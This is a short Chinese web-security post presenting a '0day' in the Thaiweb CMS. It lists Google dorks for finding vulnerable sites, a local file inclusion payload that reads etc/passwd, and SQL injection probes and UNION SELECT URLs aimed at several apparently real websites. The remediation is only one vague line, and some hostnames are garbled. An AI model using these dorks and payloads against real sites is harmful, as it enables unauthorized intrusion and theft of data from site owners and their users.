Thaiweb远程文件sql注入漏洞0day及修复 - 网站安全

 Google之:

 

intext:powered by Thaiweb

 

inurl:index.php?page=board.php

 

 

利用点1:http://HdhCmsTest2cto测试数据 /index.php?page=etc/passwd

 

 

利用点2:http://HdhCmsTest2cto测试数据 /index.php?page=boardque.php&bod_id=4'

 

 

http://HdhCmsTestkeytasin测试数据//index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

 

http://HdhCmsTestautopartnerthailand测试数据/index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

 

http://gift.in.th/index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

修复方案： 过相应参数输入进行严格检查

查看更多关于Thaiweb远程文件sql注入漏洞0day及修复 - 网站安全的详细内容...